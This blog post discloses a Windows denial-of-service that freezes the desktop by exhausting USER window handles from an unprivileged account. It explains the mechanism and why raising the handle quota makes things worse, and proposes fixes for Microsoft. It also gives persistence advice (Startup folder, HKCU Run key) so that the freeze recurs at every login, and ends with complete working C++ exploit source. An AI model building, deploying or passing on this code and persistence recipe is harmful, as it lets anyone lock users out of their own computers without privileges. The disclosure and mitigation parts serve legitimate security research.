Sunday, May 31, 2026

WinDoS - Death via window handles!

Exploiting Window Handle Limits: A Zero-Privilege Denial of Service

Exploiting Windows Handle Limits: A Zero-Privilege Denial of Service

Mastercodeon | Published: 6/1/2026
Abstract: This report details a Proof of Concept (PoC) Denial of Service (DoS) attack against modern Windows operating systems (tested on Windows 11 Build # 28020.1873, and 29570.1000). By exploiting the architectural limitations of how Windows manages graphical objects, an unprivileged user can completely freeze the operating system, rendering the keyboard, Task Manager, and even the Secure Attention Sequence (Ctrl+Alt+Del) useless. This post explores the mechanics of the exploit, corrects common misconceptions about handle quotas, and discusses the severe implications of weaponizing this technique.

Introduction: The Invisible Threat

Imagine working on your computer when suddenly, everything stops. You can still move your mouse cursor across the screen, but clicking does nothing. The keyboard is dead. You press CTRL+SHIFT+ESCAPE to open Task Manager, but nothing happens. In a panic, you press CTRL+ALT+DEL—the ultimate failsafe—but the screen remains frozen. Your computer hasn't crashed in the traditional sense; it has been suffocated.

This is the reality of a Window Handle Exhaustion attack.

For non-technical readers, think of a "Window" not just as the visible applications you interact with (like your browser or calculator), but as the invisible building blocks that make up the entire Windows interface. Every button, every text box, and every background process requires a "Handle"—a ticket from the operating system granting permission to exist.

The operating system has a hard limit on how many of these tickets it can hand out. This Proof of Concept (PoC) maliciously requests tens of thousands of these tickets in a fraction of a second for completely invisible windows. Because it doesn't rely on maxing out the CPU or endlessly duplicating itself (a fork-bomb), it flies completely under the radar of system monitors. Worse yet, it requires absolutely zero administrator privileges to execute, and modern antivirus solutions, including Windows Defender, do not flag it as malicious.

The Technical Meat: How the Exploit Works

The core of this exploit lies in the abuse of the USER32.dll subsystem and the Desktop Window Manager (DWM). The PoC is written in C++ and utilizes standard Win32 API calls to rapidly spawn hidden windows.

Process Architecture

When the program launches, it checks if it is running in --child-mode. If not, it uses ShellExecuteExW to spawn four child instances of itself. This multi-process approach is critical because Windows imposes a per-process limit on handles. By distributing the load across multiple processes, the PoC bypasses the per-process quota and attacks the global session limit.

Each process then launches multiple threads (based on hardware concurrency) to rapidly call CreateWindowEx. The windows are created with the WS_EX_TOOLWINDOW style and no WS_VISIBLE flag, ensuring they never appear on the taskbar or the screen.

The 50ms Delay and DWM Starvation

During the initial run, the code introduces a Sleep(50) delay between window creations. This slight delay is fascinating: it allows the Desktop Window Manager (dwm.exe) just enough breathing room to process the window creation queue. The system remains sluggish but somewhat responsive.

However, the PoC includes an ExplorerWatcher function. It monitors explorer.exe and waits for it to crash or be restarted. Once Explorer restarts, the PoC triggers a subsequent rapid spawn. At this point, the DWM "freaks out." The sudden reallocation of thousands of handles during Explorer's fragile startup phase completely breaks the DWM's rendering pipeline. The DWM stops drawing the screen entirely. The line of code that does the 50 ms sleep call (line 107) is commented out in the PoC source to demonstrate instant freezing of the entire dwm.exe, csrss.exe, LogonUI.exe, and winlogonui.exe.

Because the mouse cursor is often hardware-rendered or handled via a separate interrupt path, it continues to move, giving the illusion that the system is alive. In reality, the UI thread is deadlocked, preventing any input processing, including the Secure Attention Sequence (SAS).

Photograph of the frozen desktop state
Figure 1: Photograph of the frozen desktop state. Note that Task Manager cannot be summoned, although in this screenshot, it was already opened before the exploit was executed. No other program or action can be taken in this state.

Correcting the Handle Quota Misconception

A common piece of advice for mitigating handle exhaustion is to modify the registry to increase the handle quota. Specifically, navigating to:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows

Many users attempt to create or modify a DWORD named GDIProcessHandleQuota and set it to 65,536.

Technical Correction: There are two distinct types of graphical handles in Windows: GDI handles (graphics drawing objects like brushes and fonts) and USER handles (interface elements like HWNDs). This PoC exhausts USER handles, not GDI handles. The correct registry key governing this limit is USERProcessHandleQuota.

The Real Limits of USERProcessHandleQuota

If the USERProcessHandleQuota key does not exist, it can be manually created as a DWORD (32-bit) Value in the registry path mentioned above.

However, there is a strict, hardcoded ceiling enforced by the Windows kernel:

  • Default Value: 10,000 handles per process.
  • Maximum Allowed Value: 18,000 handles per process.
  • Global Session Limit: 65,536 handles across the entire Windows session.

You cannot set USERProcessHandleQuota to 65,536. If you attempt to set a value higher than 18,000, Windows will simply cap the per-process limit at 18,000.

The Registry Redirection Quirk (The "Hardcoded 10,000" Issue)

Developers attempting to read this registry key programmatically often encounter a frustrating quirk: even if USERProcessHandleQuota is set to 15,000 or 18,000, their application might always read the value as 10,000.

This is not because the value is hardcoded in the OS, but rather due to the Windows Registry Redirector. If a 32-bit application runs on a 64-bit version of Windows, its registry calls are silently redirected to the WOW6432Node (e.g., SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Windows). If the key hasn't been explicitly updated in the WOW6432Node, the application will read the default value of 10,000.

To read the true value stored in the native 64-bit registry hive, the application must either be compiled as a native 64-bit (x64) binary, or the developer must explicitly pass the KEY_WOW64_64KEY flag when calling the RegOpenKeyEx API.

Why the "Mitigation" Makes it Worse

By default, Windows limits a single process to 10,000 USER handles. If a user increases USERProcessHandleQuota to its maximum of 18,000, they are allowing a single process to consume a massive chunk of the 65,536 global session limit.

When the PoC runs under these "mitigated" conditions, its 4 child processes can now allocate up to 18,000 handles each. 4 × 18,000 = 72,000, which instantly blows past the 65,536 hard session limit. This leaves zero handles available for dwm.exe, csrss.exe, or explorer.exe. The system freeze is absolute and instantaneous. Instead of mitigating the attack, increasing the quota hands the attacker the keys to instantly brick the session.

Registry Editor showing the Handle Quota keys
Figure 2: Registry Editor showing the Handle Quota keys. Modifying these to maximum values exacerbates the DoS condition.

Weaponization and Persistence

The true danger of this PoC is how easily it can be weaponized. Because it does not rely on memory corruption, buffer overflows, or known malware signatures, it is completely ignored by Windows Defender and most EDR solutions.

Windows Defender scanning the PoC executable
Figure 3: Windows Defender scanning the PoC executable and reporting "No current threats."

If an attacker chains this executable with a simple persistence mechanism—such as placing a shortcut in the user's Startup folder or adding a string to the HKCU\Software\Microsoft\Windows\CurrentVersion\Run registry key—the results are devastating.

Upon user login, the PoC executes immediately. Before the user can open Task Manager or navigate to the startup folder to delete the file, the DWM is starved of handles and the system freezes. Rebooting the machine simply triggers the loop again. This effectively bricks the operating system for that user profile, requiring them to boot into Safe Mode or use external recovery media to manually delete the executable.

Task Manager showing minimal CPU usage
Figure 4: Task Manager showing minimal CPU usage, proving this is a resource starvation attack, not a CPU exhaustion attack.

Call to Action: How Microsoft Can Fix This

This architectural flaw has existed in Windows for decades, stemming from the legacy design of the Win32 subsystem. However, as systems become more robust, allowing unprivileged user-space applications to starve critical system processes of basic UI handles is an unacceptable risk.

Microsoft could mitigate this issue through several approaches:

  1. Handle Reservations: The OS should reserve a guaranteed pool of USER and GDI handles exclusively for dwm.exe, csrss.exe, and LogonUI.exe. Even if a user application exhausts the session quota, the system processes would still have the resources required to render the Secure Attention Sequence (Ctrl+Alt+Del) and Task Manager.
  2. Heuristic Rate Limiting: Implementing a rate limit on invisible window creation. If a process attempts to create 10,000 hidden windows in under a second, the OS should throttle the CreateWindowEx API call for that specific PID.

Until such mitigations are implemented at the kernel/subsystem level, system administrators must be aware that DoS attacks do not always look like CPU spikes or memory leaks. Sometimes, they are just invisible windows, quietly taking all the tickets.

Appendix: Proof of Concept Source Code

Below is the complete C++ source code used for this research. It is provided for educational and defensive research purposes only.

#include <iostream>
#include <windows.h>
#include <string>
#include <cstdlib> // For _wsystem
#include <vector>
#include <thread>
#include <tlhelp32.h>
#include <mutex>
#include <condition_variable>
#include <chrono>

void spawnChildren(const wchar_t* exePath, int count) {
    SHELLEXECUTEINFOW sei = { sizeof(sei) };
    sei.cbSize = sizeof(SHELLEXECUTEINFOW);
    sei.fMask = SEE_MASK_DEFAULT;
    sei.hwnd = NULL;
    sei.lpVerb = L"open";
    sei.lpFile = exePath;
    sei.lpParameters = L"--child-mode"; // Flags the new process as a child
    sei.lpDirectory = NULL;
    sei.nShow = SW_SHOWNORMAL; // Opens a new visible console window for each child
    for (int i = 0; i < count; ++i) {
        ShellExecuteExW(&sei);
    }
}

// Global synchronization tools
std::mutex g_syncMutex;
std::condition_variable g_syncCV;
int g_activeSpawnersCount = 0;
bool g_allSpawningFinished = false; // Must be reset on each run

// Global window handle tracking
std::mutex g_windowTrackingMutex;
std::vector<HWND> g_spawnedWindows;

// --- Helper for Explorer Monitor ---
DWORD GetProcessIdByName(const std::wstring& processName) {
    DWORD pid = 0;
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (snapshot != INVALID_HANDLE_VALUE) {
        PROCESSENTRY32W entry;
        entry.dwSize = sizeof(entry);
        if (Process32FirstW(snapshot, &entry)) {
            do {
                if (std::wstring(entry.szExeFile) == processName) {
                    pid = entry.th32ProcessID;
                    break;
                }
            } while (Process32NextW(snapshot, &entry));
        }
        CloseHandle(snapshot);
    }
    return pid;
}

// Minimal window procedure to handle background messages
LRESULT CALLBACK WindowProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam) {
    if (uMsg == WM_DESTROY) {
        PostQuitMessage(0);
        return 0;
    }
    return DefWindowProc(hwnd, uMsg, wParam, lParam);
}

// Function that creates an invisible window explicitly excluded from the taskbar
HWND CreateInvisibleWindow(HINSTANCE hInstance) {
    const wchar_t CLASS_NAME[] = L"InvisibleWindowClass";
    // SAFE FIX: Use static flag to register the window class EXACTLY ONCE across the entire process lifetime
    static bool isClassRegistered = false;
    if (!isClassRegistered) {
        WNDCLASS wc = {};
        wc.lpfnWndProc = WindowProc;
        wc.hInstance = hInstance;
        wc.lpszClassName = CLASS_NAME;
        if (RegisterClass(&wc)) {
            isClassRegistered = true;
        }
    }

    // WS_EX_TOOLWINDOW prevents the window from appearing in the taskbar
    HWND hwnd = CreateWindowEx(
        WS_EX_TOOLWINDOW, // Extended style to hide from taskbar
        CLASS_NAME, // Window class
        L"Hidden Window", // Window text
        0, // Window style (No WS_VISIBLE)
        CW_USEDEFAULT, CW_USEDEFAULT, // Position
        0, 0, // Size
        NULL, // Parent window
        NULL, // Menu
        hInstance, // Instance handle
        NULL // Additional application data
    );
    return hwnd;
}

// Worker function assigned to each thread
void rapidWindowSpawner(HINSTANCE hInstance, int startIdx, int endIdx, int threadId) {
    int count = 0;
    std::vector<HWND> localHandles;
    localHandles.reserve(endIdx - startIdx);

    for (int i = startIdx; i < endIdx; ++i) {
        HWND hwnd = CreateInvisibleWindow(hInstance);

		// Uncomment this line to allow the inital run of window spawning to be more gradual and visually trackable, but it can cause significant performance degradation on subsequent runs due to the DWM's increased workload and reduced ability to keep up with the rapid creation of windows.
		//Sleep(50); // Brief pause to allow the DWM to process window creation, and be able to breathe to continue rendering other windows.
        if (hwnd == NULL) break;
        localHandles.push_back(hwnd);
        count++;
    }

    // Safely append this thread's spawned handles to the global tracker
    {
        std::lock_guard<std::mutex> lock(g_windowTrackingMutex);
        g_spawnedWindows.insert(g_spawnedWindows.end(), localHandles.begin(), localHandles.end());
    }

    // --- CRITICAL NOTIFICATION ZONE ---
    {
        std::lock_guard<std::mutex> lock(g_syncMutex);
        g_activeSpawnersCount--;
        std::cout << "[Thread " << threadId << "] Finished spawning " << count << " windows.\n";

        // If this was the final thread to finish its batch, notify the main thread
        if (g_activeSpawnersCount == 0) {
            g_allSpawningFinished = true;
            g_syncCV.notify_one();
        }
    }

    // Keep thread alive and healthy with an isolated message pump loop
    MSG msg;
    while (GetMessage(&msg, NULL, 0, 0)) {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }
}

void rapidSpawn() {
    HINSTANCE hInstance = GetModuleHandle(NULL);
    const int totalWindows = 9998;
    unsigned int numThreads = std::thread::hardware_concurrency();
    if (numThreads == 0) numThreads = 4;
    int chunkSize = totalWindows / numThreads;
    std::vector<std::thread> workers;

    // --- CLEANUP PREVIOUS BATCH ---
    {
        std::lock_guard<std::mutex> lock(g_windowTrackingMutex);
        if (!g_spawnedWindows.empty()) {
            std::cout << "[Cleanup] Safely closing " << g_spawnedWindows.size() << " existing windows...\n";
            for (HWND hwnd : g_spawnedWindows) {
                if (IsWindow(hwnd)) {
                    // PostMessage cross-thread signals the owning thread to natively destroy its window
                    PostMessageW(hwnd, WM_CLOSE, 0, 0);
                }
            }
            g_spawnedWindows.clear();
            // Allow a brief moment for the old message loops to unwind and terminate
            std::this_thread::sleep_for(std::chrono::milliseconds(300));
        }
    }

    std::cout << "[Main] Launching " << numThreads << " threads to spawn " << totalWindows << " windows...\n";

    // CRITICAL FIX: Reset global variables cleanly before launching a brand new sequence
    {
        std::lock_guard<std::mutex> lock(g_syncMutex);
        g_activeSpawnersCount = numThreads;
        g_allSpawningFinished = false;
    }

    // Launch the Window Spawning threads
    for (unsigned int i = 0; i < numThreads; ++i) {
        int start = i * chunkSize;
        int end = (i == numThreads - 1) ? totalWindows : start + chunkSize;
        workers.push_back(std::thread(rapidWindowSpawner, hInstance, start, end, i));
    }

    // MAIN THREAD BLOCKS HERE: Wait until all spawner threads reach the barrier
    {
        std::unique_lock<std::mutex> lock(g_syncMutex);
        g_syncCV.wait(lock, [] { return g_allSpawningFinished; });
    }

    std::cout << "\n>>> [MAIN THREAD SUCCESS] All " << totalWindows << " windows have successfully spawned! <<<\n";
    std::cout << "[Main] Main thread is now fully operational and executing subsequent code.\n\n";

    // Clean up current worker objects securely via detaching
    for (auto& worker : workers) {
        if (worker.joinable()) {
            worker.detach();
        }
    }
}

int ExplorerWatcher() {
    std::wcout << L"[Monitor] Starting Explorer process lifetime tracking...\n";
    while (true) {
        DWORD explorerPid = GetProcessIdByName(L"explorer.exe");
        if (explorerPid == 0) {
            std::wcout << L"[Notice] Explorer is not currently running. Retrying in 1 second...\n";
            Sleep(1000);
            continue;
        }

        HANDLE hProcess = OpenProcess(SYNCHRONIZE, FALSE, explorerPid);
        if (hProcess == NULL) {
            Sleep(1000);
            continue;
        }
        std::wcout << L"[Monitor] Successfully hooked into explorer.exe (PID: " << explorerPid << L"). Waiting for crash/close...\n";

        // Efficient OS suspension blocking
        WaitForSingleObject(hProcess, INFINITE);

        std::wcout << L"\n[ALERT] explorer.exe (PID: " << explorerPid << L") has CRASHED or CLOSED!\n";
        CloseHandle(hProcess);

        std::wcout << L"[Monitor] Waiting for Explorer to restart...\n";
        DWORD newPid = 0;
        while (newPid == 0 || newPid == explorerPid) {
            Sleep(250);
            newPid = GetProcessIdByName(L"explorer.exe");
        }
        std::wcout << L"[SUCCESS] explorer.exe has fully restarted with a brand new PID: " << newPid << L"\n\n";

        std::wcout << L"[SUCCESS] Sleeping for 2.5 seconds...\n";
        Sleep(2500);

        std::wcout << L"[SUCCESS] Rapid spawning initiated...\n";
        // Triggers the window spawning cleanly now that global state is reset correctly
        rapidSpawn();
    }
    return 0;
}

int main(int argc, char* argv[]) {
    // 1. Check if any arguments were passed to the program
    bool isChild = false;
    for (int i = 1; i < argc; ++i) {
        if (std::string(argv[i]) == "--child-mode") {
            isChild = true;
            std::cout << "[Main] Running in CHILD MODE. This instance will not spawn additional processes.\n";
            break;
        }
    }

    std::cout << "[Main] Starting application..." << std::endl;

    if (isChild == false)
    {
        wchar_t currentExePath[MAX_PATH];
        if (GetModuleFileNameW(NULL, currentExePath, MAX_PATH) != 0) {
            // Spawn exactly 7 instances
            spawnChildren(currentExePath, 4);
        }
    }

    // Code goes here
    rapidSpawn();
    ExplorerWatcher();

    while (true) {
        Sleep(1000);
    }
    return 0;
}

No comments:

Post a Comment

WinDoS - Death via window handles!

Exploiting Window Handle Limits: A Zero-Privilege Denial of Service Exploiting Windo...